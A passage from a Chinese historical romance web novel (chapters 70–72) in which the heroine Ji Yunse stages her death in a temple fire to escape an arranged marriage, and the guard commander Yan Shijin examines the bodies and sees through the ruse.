“孝不孝,原不在这些虚礼上,有心就好。” 纪云瑟看着他明显瘦削了的面容,和眼底依旧未散去的红血丝,道: “这话,该说给你自己听。纵是铁打的,也禁不住这样熬。” “娘娘在天上瞧着,又该心疼了。” 晏时锦看到了她眼眸中的关切,温声道: “我无事,这些不算什么。” 纪云瑟突然觉得这位爷很好哄,给他做了一顿吃食,又说了几句关心他的话,向来严肃的黑眸立刻就柔软下来。 但是,她不可能永远有耐心去做一个日日哄着夫君的妻子。 她只犹豫了一瞬,便向欲离开的男子直言道: “听说,陛下准备让公主郡主们去灵岩寺念经替娘娘祈福,能不能,让我也去?” 晏时锦有些诧异: “你为何要去?” “她们都是皇祖母的亲孙女……” 纪云瑟垂眸道: “娘娘如此疼我,我没有什么能报答她的,只想为她尽一份心意。” 她不敢抬头看他会洞察一切的眼睛,经过这些时日,她已经清楚地认识到,这位声名在外的世子爷不是吃素的。 她的那些小伎俩在他眼里不过就是小菜一碟,随时都会被他识破。 晏时锦道: “其实,也不必如此。” “去那儿的话,每日必须斋戒,粗茶淡饭,抄经念经打坐,满一个月方能回来。” “你只是臣女,不需要。” 纪云瑟抓着他的手臂: “我愿意!” 事出反常必有妖,晏时锦忽然有一瞬间的不祥预感,道: “你这段时日帮忙照顾好周嬷嬷就够了。” 纪云瑟抿了抿唇,道: “我想去,不仅是因为娘娘一直真心待我,更是因为…” 她抬眸看着眼前的清隽男子,面露真诚,道: “她是你的皇祖母,我可以替你,多尽一份心意。” 纪云瑟知道,话说到这份上,若是他还不肯答应的话,那她也只能放弃了,不能让这件本应心甘情愿的事做得太过刻意。 她有几分心虚地等着男子的回答,晏时锦自是有些诧异,她对自己有多少真实心意,他不是不知道,应当还没有到为了他做出牺牲的地步。 但是,他暂时没有在少女清亮的眼眸中读到什么别有用心,或者,她真的只是想回报太后对她的好。 他正要开口,却忽的瞥见了她腰间焕然一新的香牌,一张貌似温润的面孔闪入脑海,他拉着她的手,轻轻摩挲着她柔腻的掌心,容色平静地问道: “最近,你每日都和沈绎见面?” 70-80 第71章 纪云瑟的小心脏差点漏跳了一拍,但却万万不敢表现出丝毫异样,迎上晏时锦探究的目光,淡然道: “是呀,夫子每日都来给嬷嬷诊脉,说嬷嬷没什么事。” “还有,他前些时日不是说我的香牌香味淡了么?便抽空给我重新制了一个,今日刚给我的,喏,我闻着好像味道 比之前还浓些,你觉得呢?” 她淡然地将香牌摘下拿在手心,送到他的面前,晏时锦见她一脸坦然的模样,瞥了瞥她手中的东西,道: “若只是为了防蚊虫,一定要挂这个,没有别的办法了?” 纪云瑟眨了眨眼睛,道: “要不,你给我想个法子?” 她就是再迟钝,也看出了晏时锦的心思,竟然是在吃沈夫子的醋! 这都哪儿跟哪儿啊! 沈夫子是她的师长,从小看着她长大,她视作长辈一般的人,他们怎么可能? 不过,这么看起来,这厮的确是个小气的人,她若真嫁给他,日后她是不是都不能跟别的男子说话了? 他们那起子位高权重之人,占有欲控制欲都很强呐! 所以说,豪门不是随便就能进的,他家老太太专横跋扈就罢了,这厮也好不到哪里去! 晏时锦的目光从那个碍眼的东西上扫过,一口答应下来: “好,下回我给你准备。” 但他突然想到沈绎,并不完全是因为那一丝若有似无的醋意,他是动了情,但不是被感情冲昏头脑之人。再说,那是她的启蒙恩师,也算是她的长辈,又有多年的师生情分,他无法计较什么。 但是,他每一次看到沈绎,都会从那位年轻神医掩饰得很好的平静眸光中,读出几分莫名的异样,太后薨逝之后,这种感觉愈发明显。 晏时锦说不准是哪方面,但多年与各色人打交道的经验和直觉告诉他,沈绎不是一个简单纯粹的人,他有秘密。 就是不知道,这个秘密与纪云瑟是否有关。 纪云瑟拉了拉他的手,低声埋怨道: “哎呀,怎的说到沈夫子了?” “我想去灵岩寺为太后祈福,你到底答不答应嘛?” 她知道,只要晏时锦同意,就一定能够帮她办成。 少女求人的时候,嗓音一如既往的软柔如轻羽,晏时锦垂眼看向她隐去了狡黠的清亮眸子,默了默,道: “好,既然你想去,就去罢!” “我跟江守忠说一声。” 他总有一种不可明说的预感,纪云瑟主动要求去灵岩寺并不完全是为了太后,更不是为了他,倒像是有什么私心。 但他一时猜不到,所以,干脆答应她,看看她想做什么。 总归她们一行人的安全由京卫司负责,他就算不能亲自守在那里,也会让人好好看着她。 纪云瑟克制住内心有些激动的情绪,平静地点点头: “好。” 晏时锦步出房外,立刻交待候在一旁的青霜: “这些时日,盯紧沈绎。” 青霜愣了一瞬,随即抱拳道: “是,属下遵命!” ~ 繁复的丧仪过后,太后梓宫安入先帝陵寝,次日,十来辆尚缀着白的宫车出了京城向南云山驶去,夕阳西斜时,到达了灵岩寺。 果然如晏时锦所说,所有人都必须住在寺内的禅房内,真正做到忘记尘世的尊荣富贵,融入寺院清贫的修行中,每日早起诵经,午后抄经,粗茶淡饭。 不仅如此,灵岩寺在深山中,僧侣和比丘尼们都是自行砍柴挑水,但考虑各位贵女基本上是肩不能抗手不能提,故而允了每人都带着各自的两个婢女,做一做粗活。 赵沐昭素来养尊处优,刚过了两日已经受不了,趴在简陋的案桌上揉着酸痛的手臂嚷着要回宫,玉拂和玉晓在一旁帮着她抄经,一面劝道: “殿下稍安勿躁,陛下最厌恶不忠不孝之人,这又是为太后娘娘祈福,殿下再怎样都要忍了这一个月,万不可生出事端,惹陛下生气呐!” 纪云瑟倒是十分认真地完成所有任务,除了抄经,每日晨起,都是第一个到达经堂,真心实意地随同高僧们一同诵经,为太后祈福,以弥补内心的歉疚。 崇陶和效猗只要跟着自家姑娘,什么日子都甘之如饴,挑水砍柴不在话下,甚至觉得比在府里不光得干粗活还要受闲气的日子,舒畅了不少。 就是对姑娘每日只吃斋饭有些无奈。这日,崇陶从山涧里挑了水回来,行至正在埋头抄经的纪云瑟面前,悄悄问道: “姑娘,要不要奴婢明日砍柴时,偷偷下山给您买些……” 纪云瑟白了她一眼,打断道: “你别害我行不行?” 效猗在一旁点燃檀香,熏一熏屋内的潮气,道: “姑娘说的是,太后娘娘疼了咱们姑娘一场,咱们得记着她老人家的好。” 崇陶弱弱道: “我这不是怕姑娘身子吃不消么?再说,孝顺也不在这些地方,只要姑娘的心是真的,想必太后娘娘在天有灵,也不会怪罪的。” 纪云瑟活动了一番有些酸胀的手腕,将刚写完的一册佛经递给崇陶,道: “别说了,你若是闲着,就给我把经书送去。” 崇陶微微叹了口气,接过经书出了门。 寺院内随处可见的女暗卫,是晏时锦特地安排过来护卫众多贵女们的安全。 崇陶是个话多的性子,就是在院子里劈柴干活也要拉着人闲聊,早就跟素日守在她们门外的一个暗卫混熟了,知其名唤“赤霄”。 赤霄见她手捧着经书出来,热心道: “姑娘又抄了一卷经书?” “需不需要在下帮着送去方丈院?” 崇陶正好累了半日,便眨了眨眼睛,问道: “不会耽误大人的事吧?” 赤霄笑道: “怎么会?在下奉命护卫各位主子安全,帮忙做些跑腿的活儿也是应该的。” 崇陶听她如此说,也不跟她客气,将经书交给她,道了一声谢,便径直往一旁的柴房生火去了。 暮色四合,弦月如钩。 京卫司衙门里,晏时锦的官廨亮着烛火,他翻阅了两份从虔州过来的邸报,拧了拧眉心,思索片刻后,提笔回复了几个字。 敲门声响起,听出是紫电的声音,晏时锦并未抬头,说了一声: “进来。” 紫电将手里的一册佛经放在自家大人的案桌上,道: “世子,这是纪姑娘今日刚抄的。” “赤霄说,纪姑娘每日诵经都十分勤谨,除了去经堂,就是留在房中抄经,并无异样。” 晏时锦搁下笔,拿起佛经翻了翻,她的字他也是最近才见过,一看就是从来不曾用心练,没有童子功的底子,写得只能说是一言难尽,勉强能认出来罢了。 也不知沈绎这个教书先生在她家这么多年,都教了些什么? 不过她抄的佛经胜在认真,看得出来,是一笔一划用心在写。 莫非,他真的错怪她了?她主动要求去诵经,的确是单纯为了太后,和他? “送回去,交给方丈大师吧!” 晏时锦将佛经合上,道: “让赤霄好生护着就是,不用再送佛经过来了。” 紫电接过,正要领命而去,却见青霜匆忙步入,抱拳道: “禀世子,沈太医,他今日向陛下请旨,去职回乡丁忧。” 晏时锦眉心一皱,诧异道: “丁忧?” “他父母早逝,丁什么忧?” 青霜道: “听说,是将他抚育长大的叔父去世,因对他有养育之恩,他愿以亲父之礼守孝,回乡丁忧。” 他小心觑了一眼自家大人微黯的面色,说道: “属下已经查过了,沈太医在祖籍冀州的确还有位堂叔,最近因病去世。” 晏时锦蹙眉: “堂叔?回去守孝?” “陛下准了么?” 青霜道: “我朝素来以‘孝’治天下,沈太医愿去职为养父守孝,陛下没有不准的理由。” 晏时锦坐直了身子,向后靠了靠,面上看不出什么情绪: “为了一个远亲,放弃蒸蒸日上的官途?他的这番孝心,是要感天动地?” 原本,父母兄弟或祖父母死后,子女按礼须持丧三年,其间不得行婚嫁之事,不预吉庆之典,任官者并须去官,但因离职后朝廷会立时补缺,再想官复原职几乎不可能,故而大缙的律法也有约,除了父母丧外可不必去官。 沈绎此举不合情理,分明有异。 还是那句话,事出反常必有妖,如今,两件事反常,晏时锦不得不怀疑,沈绎在谋划什么。 他吩咐紫电道: “你亲自送佛经去灵岩寺,这段时日留在寺中,加强寺内防卫。” 紫电看了一眼自家主子盯着佛经的沉厉神色,顿时明了,抱拳应声而去。 晏时锦按了按额角,又向青霜道: “你跟紧沈绎,他要回冀州,你便与他一同回去,直到亲眼见他披麻戴孝为止!” 得永安帝允准的当日,沈绎就换下了太医署的官服,将自己手中关于孙贵妃胎象的脉案跟人交接之后,与各位同僚拜别。至黄昏时分,他出宫行至城西的一间车坊内。 听说他要雇一辆马车去往路途遥远的冀州,算是一笔大买卖,掌柜的热情迎了他进去。 步入内室,早已有一与他年纪相仿的男子在等着他,见他进来,行礼道: “主子。” 正是一直以来暗中跟着他待在京城的侍从桑仁。沈绎将手中的包裹放下,随即换上他早已准备好的脚夫衣裳,问道: “都准备妥当了么?” 桑仁亦换上了他脱下的外裳,道: “按主子吩咐,已布置妥当。” 正是因为桑仁与自己的身量和面部轮廓有几分相似,沈绎才想出这个金蝉脱壳的法子出宫。 沈绎心中十分清楚,若只是他一人骤然去官离开京城,不会有人在意,但同时又加上纪云瑟葬身火海就不一定了,晏时锦不是一个能轻易糊弄的人,必须真的有一个人替他回冀州奔丧,留在那儿披麻戴孝。 他仔细看了看桑仁,确定他已准备好的妆容与自己有九成相像,只要不凑近了仔细看,大体上看不出差距,才放下心,粘上桑仁给他准备好的络腮胡,戴好头巾。 桑仁看他一直忙碌,忍了许久,终于问出了心中的不解: “主子分明已经查出了真相,为何突然去官出宫?” “难道就这样任凶手逍遥法外?连院正大人的仇也不报了么?” 沈绎顿住手,默了默,道: “时机还未到,需再等一等,有个重要人证,我必须亲自去找她!” 桑仁知晓他的性子,便明白他没有说实话,这些年他与主子名为主仆,但从情分上来说,不论僭越的话便如亲人一般,实在不愿见他功败垂成,不由得加重了几分语气问道: “主子要找什么人,让奴才去就是,为何要辞官?” “您吃了那么多的苦,好不容易才走到今日,得到了陛下的信任,却突然离开,您难道不知,去官容易,复职难么?” 沈绎闭了闭眼,攥紧了双拳又松开,看着这张熟悉的脸,似是对这个一直以来全心全意为他做事的侍从说,又似对着自己的另一个分身辩解道: “因为,如今的形势,仅我一人之力,根本无法撼动凶手背后的势力!” “你以为,光凭这些,就能动得了那个人?那你就错了!” “且不说物证全无,人证不一定靠得住,就算我们手握物证,那个人也可以说其中经手之人众多,将自己摘干净!” 桑仁不甘心: “主子!” “那就这样算了么?” 沈绎握住他的肩膀,眸光微沉,道: “不是!” 见桑仁瞪大眼睛看过来,他缓下声,继续道: “还有机会,更好的机会!” 一个无需他辛苦举证,或许也不会牵连到其他人的机会。 桑仁不解,问道: “主子的意思是……” 沈绎知道,若是他不把自己的计划全盘托出,这个从小跟着自己的忠仆是不可能安心代他回冀州守孝,思索了一瞬,只道: “我已看出,并放话出去,贵妃的这一胎,是个公主。” “故而,她定能安全生产,平安长大。” 桑仁立时明白过来,道: “主子是觉得,他们会故技重施?” 沈绎点点头,道: “他们当年除去皇长子的目的再明显不过,你想想,若是再出生一个皇子,而且身份还尊贵,他们会忍得住不下手么?” “这件事过了将近二十年都无人发觉,我敢肯定,他们还会用同一种方式。” 桑仁这才放下心来,道: “既然主子心里已有打算,那就好。” 沈绎深深看了他一眼,道: “陛下尚有两年多的孝期,不急。” “况且,那个重要人证,只有我才能寻到她。” 这才是他费心谋划出宫的真正理由。 直到日暮西沉,新月初上,青霜才在暗处亲眼瞧着沈绎拿着包裹,上了马车。 看来,他确实归心似箭,打算连夜赶路回去。 夜晚的山道上树影斑驳,车夫按照雇主的要求,加快了速度。不近不远的后方,是一骑马的高挺男子,保持着恰当的距离紧紧跟着马车。 与此同时,车坊内跑了一整天的几名脚夫被东家留下用了晚膳,酒足饭饱提着一壶酒各自回家。 沈绎绕了几个巷口,确定没有人跟着之后,拐入了城北的义庄里。 ~ 晚秋的山风渐寒,各家婢女都被允准回去取了些厚的被褥和衣裳过来,效猗整理着从府里带过来的几样物什,然后将一个信笺偷偷塞给纪云瑟,悄声道: “是沈夫子送来的。” 纪云瑟拆开看了一眼,随即将信放在油灯上点燃,看着它一点一点地燃为灰烬,忍不住叹了口气,道: “准备一下吧,就是这一两日了。” 她将刚抄好的佛经理了理,向崇陶道: “这几册,你悄悄的送去经堂,不必说是我抄的。” 她早已准备计划实施前,将她一个月本该抄写好的佛经全部抄完,故而这些时日都在熬夜抄写。 崇陶知这是姑娘对太后娘娘心中有愧,努力想补偿,便也不再多劝,答应着,包好了往外拿。 次日一早,用过早膳后,纪云瑟照例捧着经书去经堂,在路上凑巧碰见赵如昕,两人同行。 赵如昕见她眼下乌青,问道: “纪姐姐怎么了,昨夜没睡好么?” 纪云瑟点点头,道: “原本早早的就睡了,谁知到了半夜似听到什么吵闹的声音,醒了就睡不着了。” 赵如昕瞪大了眼睛,捂着嘴悄声道: “姐姐你也听见了?” 见纪云瑟一脸诧异茫然地看过来,赵如昕缩了缩肩膀,道: “听说,是昨夜有人在西面那两间禅房里,听到了奇怪的声音,可吓人了!” “那里偏远,平日没有什么人,你说,总不会是有鬼吧?” “还是,山上的妖怪?” 纪云瑟闻言也吓了一跳: “不会吧,这里可是寺庙,妖魔鬼怪怎敢随意进来?” 赵如昕道: “可那里离宝殿的菩萨们远呐,顾不上也是有的。” “哎呀,不说了,怪可怕的!” 纪云瑟拍了拍胸口轻呼一口气,忙转移这个话题,便随口问道: “对了,郡主,上次那个孟家公子,可有再缠着你了?” 赵如昕轻笑一声,道: “前些时日的确总来王府烦我,不过,我早已经跟他退婚了。” “我根本就不喜欢他,这次他犯在我哥哥手里,正好一了百了。” 纪云瑟想起那个人看向自己轻薄的眼神,就笃定他不是个好人,亦为她高兴,道: “就是,京城里出色的年轻公子多着呢,郡主再好好选一个就是!” 赵如昕闻言红着脸低下了头,略带几分羞涩,道: “寺庙里不说这个,纪姐姐,咱们快走吧!” 纪云瑟点点头,看了一眼自己手里的东西,突然惊呼一声: “哎呀,我带错经书了!” “今日应该是念《地藏菩萨本愿经》的!” 她只得让赵如昕先去,自己回房换。待她气喘吁吁地行至经堂,赵沐昭等人早已经诵完了一道经书,正等着下一位高僧过来,看见她,轻 哧一声,道: “呦,平日里有些人不是最勤谨的么?怎的今日如此懒怠?” “不知是没把皇祖母放在眼里,还是没把父皇的旨意放在眼里?” 她在这破庙里吃苦受累已经待了太久,每日心情烦闷,正要找个出气的人,而太后已逝,晏时锦远在京城,便早把目光放在纪云瑟这个臭丫头身上。 谁让她的好姐妹孙雪沅在宫里恃宠而骄,日日缠着父皇,有孕之后更是哄得父皇团团转,要不是太医说她这一胎是个公主,父皇恐怕太子之位都要直接奉到她面前! 赵沐昭看着自己的母妃日日愁容满面,郁郁寡欢,早就咽不下这口气了! 谁料纪云瑟自入灵岩寺以来,跟变了一个人似的,每日兢兢业业,挑不出一点儿懒怠之处,今日,正好抓着她的这个错处,赵沐昭怎会轻易放过? 赵如昕立刻帮她解释道: “纪姐姐早就来了的,是发现拿错了经书,回去换才晚了些。” 赵沐昭白她一眼,道: “晚了就是晚了,哪有这么多借口?” “今日,她说拿错书晚了,明日,你说睡晚了,那这里还有人诵经吗?” 纪云瑟拉住了还欲说话的赵如昕,试着辩解道: “公主,臣女不是故意的,请念着臣女素日不曾懈怠的份上,饶了臣女这一次吧!” 赵沐昭冷哼一声,道: “饶了你?都学你这样,明日大伙儿都别来了,如何立威?” 纪云瑟见她咄咄逼人,也没有了耐心,直言道: “公主您是公报私仇吧?” “您一直看臣女不顺眼,揪着这种小事不放,分明是故意针对臣女!” 赵沐昭听她如此说,更是得了意,向众人道: “你们瞧瞧,她这是什么态度?” “明明是她犯了错,本宫指明,她倒说本宫公报私仇!” “你迟到在先,诬蔑本宫在后,本宫若不罚你,下回你不反了天去?” 见纪云瑟无话可说,她眼珠儿一转,略思索片刻,道: “本宫罚你在西院的禅房里抄经一宿,没抄完不许出来!” 赵如昕闻言,求情道: “公主,若是抄经,让纪姐姐在自己房里抄不就好了,为何要去那儿?” “听说,那里晚上有……” 赵沐昭打断她,道: “有什么?菩萨面前,还能有什么妖怪?” “不去那里,难不成让她晚上吵着咱们睡觉,要咱们陪她一起受罚?” 正好今日一早就听说西院闹鬼一事,纪云瑟就犯到了她面前,可不是老天爷助着她么? 从前,她数次吃了纪云瑟的暗亏,今日再没人护着这臭丫头,她怎会轻易放过? 赵如昕还想再劝,被纪云瑟拉住,悄悄跟她说道: “郡主不必再为我费心了,不过就是抄一夜经书而已,没事的。” “再说,我也从不怕什么鬼怪。” 赵如昕知晓赵沐昭的性子,叹了口气,劝慰了纪云瑟几句,也是无可奈何。 用过晚膳后,纪云瑟和崇陶效猗在玉拂的带领下,收拾了几样要用的东西,前往西院禅房,那里总共只有两间厢房,原本是用作偶尔招待香客,后寺院扩建,便用来了堆放杂物。 崇陶和效猗收拾了一番,总算勉强能住,赤霄照例跟了过去,以护卫职责在身为由,在门外守着。 约莫戌时,崇陶突然开门,苦着脸向赤霄道: “姑娘有一册佛经忘了带来,让我回去取,可这里偏僻,黑灯瞎火的我实在是不敢……” 她环顾了一圈四周,乌云遮月,有山风的呜咽声,偶尔还传来一两声不知是何动物的叫声,不禁抱紧了双臂。 赤霄不及思索,道: “那我陪你走一趟!” 崇陶点点头,但又停下了脚步,道: “可是,这里就剩下姑娘和效猗姐姐两个人,我有些不放心。” 赤霄想了想,这两间禅房的什么见鬼的传闻不过就是贵女们捕风捉影而已,她身为暗卫,自是不信这些鬼怪之论,而且,寺中还有那么多的明卫暗卫,纪云瑟在此不会出什么事。 于是,她便问道: “要取什么经书,我替姑娘取来就是,不必你们跑。” 她脚程快,来去不过一盏茶的时间。 崇陶一脸感激,跟她说了经书放在何处后,微微一福,道: “多谢大人!” 赤霄应声而去,谁知,那经书却没有搁在崇陶所说的地方,幸好她经常查案,找个物什对她而言不在话下。 待她寻到经书出门时,却见一道火光直冲夜空,而起火的方向,竟然正是西面的禅房! 第72章 寂静山林中的皇家寺庙,因一道突然的火光撕裂了如墨的夜幕,如火蛇一般腾飞于夜空之中。 赤霄一句“不好!”尚未出口,立刻攥紧手中的经书,飞一般地跑向西院。不过顷刻之间,火势猛起,热浪翻滚向外,两间禅房瞬间置于火海之中。 赤霄心下一沉,大声呼唤: “来人呐!快扑火!救人!” 她是自家主子特地派过来护卫纪姑娘的,若是她有个三长两短,如何向主子交待? 有守夜的寺中僧人率先奔赴过来救火。 “纪姑娘!” 赤霄来不及思索其他,随手抢过一个小沙弥手中的水桶,全部浇在自己身上,就想冲进去救人,却被势如破竹般窜出的火舌逼退,根本无法靠近。 屋内烈焰腾腾,却没有任何呼救的声音,赤霄又立刻寻了一床棉被浸湿,披在身上想进入房中,又被突然喷出的一股热流灼痛了眼睛,不得不再次退了出来。 紫电刚在山门外勒住马,就见到了冲天的火光,他突发一阵不祥的预感,循着浓浓的黑烟飞奔到了起火现场,却见赤霄在禅房门外跺脚,不知所措。 “怎么回事?” “谁在里面?” 烧透的房梁轰然倒塌,火势极猛,纵然所有的僧侣沙弥都抬着水过来救火,却是杯水车薪,毫无效果。 赤霄面如土色,眼睁睁地看着禅房在熊熊大火中一点一点地坍落,这种情形,里面的人怎么可能有生还的机会? 纵是见惯了风浪的她,也顿时瘫软了下来,有气无力道: “是纪姑娘,和两个婢女……” 扑面而来的热浪让紫电瞬间似什么都听不见,手里的经书掉落在地,他难以相信地抓紧赤霄的手臂,疾声道: “你说什么?” 赤霄一脸绝望地看向他,大声重复道: “是纪姑娘!” 这还了得? 紫电吓得三魂去了七魄,来不及犹豫,对怔然的赤霄道: “你想办法救火,我立刻回去禀报!” 这种情况,什么鸽传书都没有他的马速快! 京卫司,指挥使官廨尚亮着烛火,晏时锦尚坐在案桌前思索通州的几件案子与京城之间的联系,这些时日,夏氏明显加快了动作,这倒正中他的下怀。 只要蛇出了洞,他就有办法揪住它的七寸。 一阵突然的凉风透过窗棂袭来,面前的烛火摇曳了几下后,突然熄灭。晏时锦皱了皱眉,正欲唤人进来,却见紫电气喘吁吁地推门而入,行至他跟前,面如死灰: “世子,灵岩寺禅房突发大火,纪姑娘和两个婢女在里面……” “没有…救出来……” “你说什么?” 晏时锦不可置信地看着他,手中的笔瞬间落地,漆深不见底的黑眸缩紧,几个冷如冰雪的字从僵硬的唇齿间吐出: “谁在里面?” 紫电被自家主子骤然的寒意吓得浑身一颤,慌忙俯身抱拳: “是…纪姑娘…” “她已经…葬身火海…” “怎么可能?!” 晏时锦起身,一掌拍在案桌上,震得面前的书册纸张翻飞,青瓷油灯霎时落地,哐当摔了个粉碎。 她纪云瑟这样的一只狡猾小狐狸,怎么会轻易让自己葬身火海? 晏时锦压制住一瞬间的恐慌 ,将最近的所有反常之事在脑海中飞快地梳理了一番,道: “走,去灵岩寺!” 扔下这句话时,他的人影已经闪出了门外,快行至衙门口时,又停下脚步,吩咐人道: “另派几队人马,今夜必须搜遍整个南云山!” 紫电愣了愣,寺里大火,为何要搜山,如此兴师动众?但他不敢有任何异议,立刻跟上了自家主子,带了一队直卫,一路风驰电掣,赶往灵岩寺。 火势终于被扑灭,但却只剩下一座废墟,什么都烧得干干净净。 众贵女早被蒸腾的热浪和耀目的火势惊醒,此刻正呆愣着被暗卫们远远护在院子外的长廊中,赵如昕哭得撕心裂肺,一直叫着“纪姐姐”,根本不敢相信,白日里还好好的一个人,突然直接就生离死别。 赵沐昭也吓傻了,被玉拂和玉晓紧紧搀着才没有唬得晕过去,她无论如何都没有想到,自己竟然阴差阳错地成了害人凶手。 不对! 不是她害的!她只是对纪云瑟略施惩戒,又没有想要那臭丫头的命。 是纪云瑟自己倒霉,与她无关! 定是老天爷看不惯她的狐媚样儿,特意派了什么鬼怪把她收了去! 其他贵女们也是一脸无法接受,莫非前几日闹鬼,闹的是索命鬼? 灵岩寺的僧人亦看着焦黑的残垣瓦砾愁眉苦脸,只能双手合十,一直念着“阿弥陀佛……”,好端端的为何会起火?无缘无故地烧死一个贵女,他们如何向皇室交待? 突然一众整肃的卫队进入,为首之人身着玄色修身曳撒,峻目敛肃,看了一眼面前的疮痍废墟,握紧了双拳,冷冷道: “给我翻开!” “死要见尸!” 他阴沉的目光随即落在浑身一凛的赤霄身上,还未等他开口询问,赤霄忙上前将事情原委一一细禀。 赵沐昭察觉到她这位表兄的狠戾黑眸向她看过来,吓得抖了抖,在玉拂和玉晓的搀扶下才站稳,深吸了两口气,终于拿出了公主的气势,道: “这么看着本宫作甚?” “本宫只是…只是对她略施惩戒,火又不是本宫放的!” “是…是她自己倒霉,不关本宫的事!” 晏时锦只轻瞟了瞟她,便收回目光,他自然知道,就凭这位草包公主,怎么算计得过纪云瑟? 多半又是被她利用了! 他看着来回翻动挖掘的侍卫,掩下内心的惶恐,若真的是利用才好,千万不要…… 不多时,有一个直卫上前: “禀指挥使,发现一具尸身!” 随即,有人翻开烧焦的横梁,大声呼道: “这里还有两具!” 身旁的紫电和赤霄骇然一惊,不约而同地看向自家主子。只见他站着未动,脸上的神情似禁锢住了一般,寒冷得仿佛下一瞬就能凝出霜雪来。 尸身? 三具? 这几个字随着疾风入耳,却又似千钧之鼎砸过来,让人头晕目眩,不知所云。 手中的剑柄握紧,掌心似要掐出血来,晏时锦只觉浑身僵硬,动弹不得。 “不可能!” 他绝对不信! “把尸体抬过来,让仵作验尸!” 他一直静立不动,直到京卫司随侍的仵作仔细察看完毕后,小心翼翼地上前禀报: “大人,此乃三具女尸,虽面目全非,但依身量骨骼,可断定为十五至二十岁左右的女子。” “初步看来,没有其他的伤,应该就是火烧而死。” “但是,皮肉已经基本烧毁,看不出死亡时间。” 紫电听说连三具尸体的身形都与纪姑娘主仆三人相差无几,顿时心沉到了深渊,他小心觑着自家主子的神色,不敢说话,也不敢动。 突然,晏时锦疾步上前,将三具尸体的右脚脚踝细细看了看,又问仵作: “能否瞧出这几人的右脚,最近是否有脱臼的迹象?” 仵作虽是诧异,但见这位上司不容拒绝的神色,忙蹲下一一仔细查看后,道: “可以看出,至少最近半年内,并无脱臼的痕迹。” 晏时锦眸光微动,握紧的拳头松了松,语气听不出什么起伏: “你确定?” 仵作点头,道: “下官确定。” “若是脱臼,则关节处韧带会有松动的痕迹,这三人脚踝紧实,骨骼连接处也没有半点磨损,下官以多年的经验可以断定,她们至少半年内没有受过这类伤。” 晏时锦心底冷笑一声, “好,很好!” 从看到尸体的第一眼,他就有感觉,根本不是纪云瑟! 赤霄仔细查看了废墟,过来禀报: “主子,禅房的四个角落有过量的灯油燃烧的痕迹!” 晏时锦眸色森冷,薄唇轻启: “着实不错!” 沈绎突然去官离宫,纪云瑟就在此时故意得罪赵沐昭,惹来处罚,就连这处突然闹鬼的禅房也是她选的极佳的起火之地! 纷乱的线索交织,但他做为京卫司指挥使,若是这点思绪都理不出,那他这么多年就是白混过来的! 山风疾呼而过,院内一片寂静。 看着地面上焦如黑炭的三具尸体,众贵女早吓得捂住口鼻不敢吭声,赵如昕忍着悲痛想上前看一眼,却被自己的两个婢女死死拉住不敢松手。 赵沐昭腿软了一阵,被玉拂紧紧抱着安慰道: “此事与公主无关,殿下不必怕什么!” 紫电和赤霄忐忑不安地看着静立不动,面无表情的自家主子,不知具体是个什么情况。 晏时锦收拾了一番复杂的心情,看向静谧的山林,她这是跑了? 可她为何要跑? 为了能来这里祈福诵经,刻意做吃食讨好他,到头来就是为了假死逃跑? 究竟是为什么?! 片刻后,紫电终于等来了自家主子的吩咐: “把尸体带走,下山,去章齐侯府!” 一侧的山林,在灵岩寺的喧哗中,马蹄声逐渐远去。 沈绎已准备好了一切,他亲自在院墙外接应,和纪云瑟一人骑一匹马,分别带上崇陶和效猗,直接取道下山往南走。 这也是沈绎早就想好的,若是他们在城内做这些,以晏时锦做为京卫司指挥使的能力,说不定会很快发现端倪,立即封城,他们根本无法出京。 但南云山本就在京郊,四通八达,随便往一个方向跑,晏时锦就算怀疑纪云瑟没死,也不可能派那么多的人马漫无目的地追。 “云瑟,你能行么?” 沈绎知晓她从小没有学过骑术,有些担忧。 纪云瑟拉住马鞍利落地上了马,讪讪一笑,道: “夫子放心,我已经学会了,又练了好几次,不必担心。” 自那日马球会后,晏时锦又抽空教了她几次,一个会教,一个愿学,自然上手就快。 沈绎看了她一眼,也不再多问,让身后的效猗抓紧他的衣裳后,策马扬鞭。几人彻夜赶路,终于在天擦亮时,赶到了通州漕运码头。 已经有一艘运送茶叶的船只在那里等着,几人下马后,沈绎先行上船与船家交谈。 崇陶和效猗从没有骑过马,更是第一次这样快马赶路,有气无力地扶着一棵大树,大口大口地喘着气。 纪云瑟虽骑过几次,但也觉得被颠簸得全身骨头都快散架了,但看她们小脸煞白,只得先去安抚她们两个。 崇陶摆摆手道: “姑娘放心,奴婢没事。” 她看了一眼身后走来的路,兴奋地说道: “咱们真的逃出来了!” 纪云瑟顺着她的目光看过去,淡笑一声: “对!咱们逃出来了!” 日后,她再也不必背负侯府的重压,可以过自己想要的生活,自由如风,无拘无束。 望着初升的朝阳,点点金光洒在江面上,波光粼粼,少女不禁闭着眼睛张开双臂雀跃起来。 沈绎从船舱中走出,看着她的模样,也不禁弯了弯唇角,又立刻招呼她们,道: “快些上船吧,等见到你姨母再高兴也来得及!” ~ 深夜的章齐侯府,睡梦中的纪筌和魏氏被急促的敲门声 惊醒,纪筌带着几分愠意向门外问道: “什么事?” 管家的声音带着十足的惊恐: “侯爷,大小姐…她出事了!” 魏氏起身点亮了屋内的烛火,诧异地看向纪筌: “侯爷,这……” 纪筌套上外衫,道: “我去看看。” 刚说完,窗棂上已经透入了火光,纪筌一开门,差点被院子里整齐的一排烛火闪瞎了眼,待他揉着眼睛适应了眼前的光亮后,看见是一队身着铁甲的直卫围了一圈,正中一个隽挺高硕的男子负手而立,身着修身曳撒,通身的威厉极具压迫感。 背着烛火,纪筌看不清那人的面容,但他腰间的莹白玉佩却反射着火光,上面刻着的一个“晏”字格外刺目。 纪筌心下一凛,随即拱手道: “不知指挥使大人亲临寒舍,有…有何…指教?” 晏时锦目光凉凉,向他正正地看过来,却未开口。紫电上前躬身抱拳行了个礼,又抬手道: “纪侯有礼了,抬过来。” 看着三具烧焦的尸体摆放在院子里,纪筌吓得双腿一软,几乎站立不稳,一旁的管家立刻扶住他,道: “侯爷莫要难过,大…大小姐…她…” 他也是听说了这番噩耗,才做主放了这些官爷进来,哽咽了几声,他无法再说下去,身后传来魏氏的声音: “侯爷……” 她套上了外衫跟着走出来,看到院中乌泱泱的一圈人,怔了怔,刚欲开口问,突然瞧见摆在地上的三具焦尸,脸色瞬间苍白,颤抖着拉住纪筌的手臂: “这…这是怎么回事?” 晏时锦目光扫过二人,紫电瞅着自家主子眼色,在一旁十分哀痛地说道: “灵岩寺西院禅房突发大火,贵府大小姐和两位婢女,不幸葬身火海。” 